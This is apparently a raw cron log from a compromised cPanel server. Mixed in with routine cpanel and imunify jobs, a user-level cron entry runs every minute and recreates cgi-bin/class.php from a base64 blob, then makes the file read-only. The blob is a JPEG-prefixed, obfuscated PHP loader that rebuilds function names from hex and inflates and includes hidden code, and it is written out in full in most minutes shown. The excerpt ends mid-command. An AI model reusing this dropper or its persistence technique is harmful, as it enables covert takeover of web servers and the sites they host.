Aug 31 20:25:01 server CROND[487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:25:01 server CROND[485]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:26:01 server CROND[1442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:26:01 server CROND[1443]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:26:01 server CROND[1444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:27:01 server CROND[1817]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 20:27:01 server CROND[1818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:27:01 server CROND[1819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:27:01 server CROND[1820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:28:01 server CROND[2224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:28:01 server CROND[2225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:28:01 server CROND[2226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:29:01 server CROND[2626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:29:01 server CROND[2627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:29:01 server CROND[2628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:30:01 server CROND[3119]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 20:30:01 server CROND[3120]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 20:30:01 server CROND[3127]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:30:01 server CROND[3137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:30:01 server CROND[3138]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 20:30:01 server CROND[3139]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 31 20:30:01 server CROND[3140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:30:01 server CROND[3141]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:30:01 server CROND[3142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:31:01 server CROND[3976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:31:01 server CROND[3977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:31:01 server CROND[3978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:32:01 server CROND[4362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:32:01 server CROND[4363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:32:01 server CROND[4364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:33:01 server CROND[4728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:33:01 server CROND[4730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:33:01 server CROND[4729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:34:01 server CROND[5103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:34:01 server CROND[5102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:34:01 server CROND[5104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:35:01 server CROND[5576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:35:01 server CROND[5577]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 20:35:01 server CROND[5586]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:35:01 server CROND[5590]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 20:35:01 server CROND[5593]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 20:35:01 server CROND[5595]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:35:01 server CROND[5600]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 20:35:01 server CROND[5592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:35:01 server CROND[5594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:36:01 server CROND[6404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:36:01 server CROND[6405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:36:01 server CROND[6406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:37:01 server CROND[6789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:37:01 server CROND[6790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:37:01 server CROND[6791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; 